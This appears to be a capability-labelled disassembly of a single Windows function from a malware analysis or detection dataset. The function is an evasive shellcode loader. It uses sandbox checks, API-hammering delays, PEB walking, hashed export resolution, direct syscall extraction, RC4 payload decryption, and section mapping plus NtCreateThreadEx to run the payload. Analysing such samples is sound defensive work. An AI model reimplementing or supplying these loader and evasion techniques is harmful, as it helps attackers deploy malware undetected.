Function at 0x140001520
Capabilities:
Access peb ldr_data
Check os version
Create thread
Encrypt data using rc4 via systemfunction032
Get memory capacity
Get number of processors
Get system information on windows
Parse pe header
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x30]
sub rsp, 0x130
mov rax, qword [0x140005040]
xor rax, rsp
mov qword [rbp + 0x20], rax
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
test rax, rax
je 0x140001995
cmp dword [rax + 0x118], 0xa
jne 0x140001995
mov rax, qword [rax + 0x18]
xorps xmm0, xmm0
mov rcx, qword [rax + 0x20]
mov r14, qword [rcx]
lea rcx, [rbp - 0x10]
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rbp + 0x10], 3
jb 0x140001669
xor r13d, r13d
mov qword [rbp - 0x50], 0x40
lea rcx, [rbp - 0x50]
mov qword [rbp - 0x48], r13
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x38], r13
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x20], r13
mov qword [rbp - 0x18], r13
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
jne 0x1400015ec
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._n_t____GlobalMemoryStatusEx_Failed_With_Error_:__d__n
call fcn.140001010
cmp dword [rbp - 0x48], 0x80000000
jbe 0x140001c4b
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov ecx, 0x488
mov rbx, rax
call fcn.140001230
test eax, eax
je 0x140001669
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
sub eax, ebx
lea rcx, str.____ApiHammering_Delayed_Execution_For_:__d__n
mov edx, eax
call fcn.140001010
lea rax, [rbp - 0x70]
mov dword [rbp - 0x70], r13d
mov qword [rsp + 0x28], rax
lea r8, [fcn.140001230]
mov r9, 0xffffffffffffffff
mov dword [rsp + 0x20], r13d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x140001673
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateThread_Failed_With_Error_:__d__n
call fcn.140001010
mov eax, 0xffffffff
jmp 0x14000199a
mov edx, dword [rbp - 0x70]
lea rcx, str.___Thread__d_Was_Created_To_Run_ApiHammering_In_The_Background_n
call fcn.140001010
mov rcx, qword [r14 + 0x20]
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140001995
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140001995
mov r12d, dword [rax + rcx + 0x88]
add r12, rcx
je 0x140001995
lea r9, [rsp + 0x60]
mov qword [rsp + 0x60], r13
call fcn.140001070
lea rdx, str.ProtectedKey
lea rcx, str.unsigned_char__s____
call fcn.140001010
mov rsi, qword [rsp + 0x60]
lea r15, str.0x_0.2X
mov rdi, rsi
mov ebx, r13d
nop word [rax + rax]
mov eax, ebx
and eax, 0x8000000f
jge 0x140001700
dec eax
or eax, 0xfffffff0
inc eax
test eax, eax
jne 0x140001710
lea rcx, [0x1400035c0]
call fcn.140001010
movzx edx, byte [rdi]
lea rcx, str.0x_0.2X_
cmp ebx, 0x1f
cmovae rcx, r15
call fcn.140001010
inc ebx
inc rdi
cmp ebx, 0x20
jb 0x1400016f0
lea rcx, str.__n_n
call fcn.140001010
mov qword [rbp - 0x80], rsi
lea rcx, str.Advapi32
lea rsi, [0x1400050e0]
mov dword [rsp + 0x78], 0x20
mov qword [rsp + 0x68], rsi
mov dword [rsp + 0x7c], 0x20
mov dword [rsp + 0x60], 0x114
mov dword [rsp + 0x64], 0x114
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x60]
call rax
test eax, eax
je 0x1400017b1
lea rcx, str.____SystemFunction032_FAILED_With_Error:_0x_0.8X__n
mov edx, eax
call fcn.140001010
mov eax, 0xffffffff
jmp 0x14000199a
mov ecx, 0x60
mov qword [rsp + 0x70], r13
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x68], 0x114
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r15, rax
test rax, rax
je 0x140001c52
mov ecx, 0x10
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
je 0x140001c52
mov word [rax + 8], r13w
movabs rcx, 0x2329e81ac5d1497a
mov qword [rax], rcx
mov ecx, 0x10
movups xmm0, xmmword [rax]
movups xmmword [r15], xmm0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
je 0x140001c52
mov word [rax + 8], r13w
movabs rcx, 0x2014d82f702e79d4
mov qword [rax], rcx
mov ecx, 0x10
movups xmm0, xmmword [rax]
movups xmmword [r15 + 0x10], xmm0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
je 0x140001c52
mov word [rax + 8], r13w
movabs rcx, 0xbb4a946a27b93797
mov qword [rax], rcx
mov ecx, 0x10
movups xmm0, xmmword [rax]
movups xmmword [r15 + 0x20], xmm0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
je 0x140001c52
mov word [rax + 8], r13w
movabs rcx, 0xf56ea80ef5031e7
mov qword [rax], rcx
mov ecx, 0x10
movups xmm0, xmmword [rax]
movups xmmword [r15 + 0x30], xmm0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
je 0x140001c52
mov word [rax + 8], r13w
movabs rdx, 0x8866eb7e75145f1a
mov qword [rax], rdx
mov ecx, 0x10
movups xmm0, xmmword [rax]
movups xmmword [r15 + 0x40], xmm0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
je 0x140001c52
mov word [rax + 8], r13w
movabs rcx, 0xce67f958e7fb4666
mov qword [rax], rcx
xor edx, edx
movups xmm0, xmmword [rax]
movzx ebx, dx
movups xmmword [r15 + 0x50], xmm0
mov rdi, qword [r14 + 0x20]
mov r14d, dword [r12 + 0x1c]
mov r13d, dword [r12 + 0x20]
add r14, rdi
mov ecx, dword [r12 + 0x24]
add r13, rdi
add rcx, rdi
mov qword [rsp + 0x60], rcx
cmp dword [r12 + 0x18], edx
jbe 0x140001a51
movzx eax, bx
mov r10, rdx
mov r9, r15
mov r11d, dword [r13 + rax*4]
movzx eax, word [rcx + rax*2]
add r11, rdi
mov r8d, dword [r14 + rax*4]
add r8, rdi
nop dword [rax]
movzx eax, byte [r11]
mov rdx, r11
movabs rcx, 0x76346734deadbeef
test eax, eax
je 0x140001972
nop word [rax + rax]
imul rcx, rcx, 0x21
lea rdx, [rdx + 1]
add rcx, rax
movzx eax, byte [rdx]
test eax, eax
jne 0x140001960
cmp rcx, qword [r9]
jne 0x140001a25
xor eax, eax
nop dword [rax]
movzx ecx, ax
movzx edx, byte [rcx + r8]
cmp dl, 0xf
jne 0x1400019c7
cmp byte [rcx + r8 + 1], 5
jne 0x140001a02
mov eax, 1
mov rcx, qword [rbp + 0x20]
xor rcx, rsp
call fcn.140001ca0
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
cmp dl, 0xc3
je 0x140001995
cmp dl, 0x4c
jne 0x140001a02
cmp byte [rcx + r8 + 1], 0x8b
jne 0x140001a02
cmp byte [rcx + r8 + 2], 0xd1
jne 0x140001a02
movzx ecx, ax
cmp byte [rcx + r8 + 3], 0xb8
jne 0x140001a02
movzx ecx, ax
cmp byte [rcx + r8 + 6], 0
jne 0x140001a02
movzx ecx, ax
cmp byte [rcx + r8 + 7], 0
je 0x140001a0a
inc ax
jmp 0x140001980
movzx ecx, ax
movzx edx, byte [rcx + r8 + 5]
movzx eax, byte [rcx + r8 + 4]
shl dx, 8
or dx, ax
mov word [r9 + 8], dx
inc r10
add r9, 0x10
cmp r10, 6
jl 0x140001940
mov rcx, qword [rsp + 0x60]
inc bx
movzx eax, bx
mov edx, 0
cmp eax, dword [r12 + 0x18]
jb 0x140001921
mov rbx, r15
mov edi, 6
nop dword [rax]
mov rdx, qword [rbx]
lea rcx, str.Value:__llu_n
call fcn.140001010
movzx edx, word [rbx + 8]
lea rcx, str.Value:__llu_n
call fcn.140001010
lea rbx, [rbx + 0x10]
sub rdi, 1
jne 0x140001a60
movzx ecx, word [r15 + 8]
call fcn.140001c70
mov qword [rsp + 0x30], rdi
lea r9, [rbp - 0x68]
mov dword [rsp + 0x28], 0x8000000
lea rcx, [rsp + 0x70]
xor r8d, r8d
mov dword [rsp + 0x20], 0x40
mov edx, 0xf001f
call fcn.140001c81
test eax, eax
je 0x140001ad0
mov edx, eax
lea rcx, str.____NtCreateSection_Failed_With_Error_:_0x_0.8X__n
call fcn.140001010
movzx ecx, word [r15 + 0x18]
mov qword [rsp + 0x60], rdi
call fcn.140001c70
mov rcx, qword [rsp + 0x70]
lea rax, [rbp - 0x60]
mov dword [rsp + 0x48], 0x40
lea r8, [rsp + 0x60]
mov qword [rsp + 0x40], rdi
xor r9d, r9d
mov dword [rsp + 0x38], 1
mov rdx, 0xffffffffffffffff
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
call fcn.140001c81
test eax, eax
je 0x140001b37
mov edx, eax
lea rcx, str.____NtMapViewOfSection_Failed_With_Error_:_0x_0.8X__n
call fcn.140001010
mov rbx, rdi
jmp 0x140001b3c
mov rbx, qword [rsp + 0x60]
mov rcx, rbx
mov eax, 2
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rsi]
lea rsi, [rsi + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rsi - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rsi - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rsi - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rsi - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rsi - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rsi - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rsi - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x140001b44
movups xmm0, xmmword [rsi]
movups xmmword [rcx], xmm0
mov eax, dword [rsi + 0x10]
mov dword [rcx + 0x10], eax
movzx ecx, word [r15 + 0x48]
call fcn.140001c70
mov qword [rsp + 0x50], rdi
lea rcx, [rbp - 0x78]
mov qword [rsp + 0x48], rdi
mov r9, 0xffffffffffffffff
mov qword [rsp + 0x40], rdi
xor r8d, r8d
mov qword [rsp + 0x38], rdi
mov edx, 0x1fffff
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rbx
call fcn.140001c81
test eax, eax
je 0x140001bfc
mov edx, eax
lea rcx, str.____NtCreateThreadEx_Failed_With_Error_:_0x_0.8X__n
call fcn.140001010
jmp 0x140001c08
lea rcx, str.____NtCreateThreadEx_Success
call fcn.140001010
movzx ecx, word [r15 + 0x58]
call fcn.140001c70
mov rcx, qword [rsp + 0x70]
call fcn.140001c81
test eax, eax
je 0x140001c30
mov edx, eax
lea rcx, str.____NTClose_Failed_With_Error_:_0x_0.8X__n
call fcn.140001010
jmp 0x140001c3c
lea rcx, str.____NTClose_Success
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor eax, eax
jmp 0x14000199a
lea rcx, [0x140003360]
call fcn.140001010
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3